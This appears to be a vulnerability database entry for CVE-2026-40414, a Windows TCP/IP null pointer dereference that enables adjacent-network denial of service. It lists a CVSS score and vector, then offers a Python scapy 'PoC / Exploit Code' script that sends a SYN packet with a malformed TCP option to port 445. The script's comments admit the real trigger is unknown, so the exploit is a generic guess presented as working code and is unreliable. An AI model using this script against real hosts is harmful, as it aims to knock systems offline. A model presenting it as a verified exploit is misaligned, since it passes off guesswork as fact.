Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service over an adjacent network.
CVSS Details
CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Windows TCP/IP (具体受影响版本请参考微软安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys
from scapy.all import *
# Target IP address on the adjacent network
target_ip = "192.168.1.100"
def send_exploit():
# Construct a malicious packet to trigger the vulnerability.
# This PoC sends a crafted TCP packet.
# The specific trigger depends on the exact parsing logic of CVE-2026-40414.
# Build IP layer
ip_layer = IP(dst=target_ip)
# Build TCP layer with potentially malicious options
# Malformed options often trigger parsing issues
tcp_layer = TCP(dport=445, flags="S", options=[(252, b"\x00"*10)])
# Combine layers
packet = ip_layer / tcp_layer
# Send the packet
send(packet, verbose=0)
print(f"[*] Malformed packet sent to {target_ip}")
if __name__ == "__main__":
send_exploit()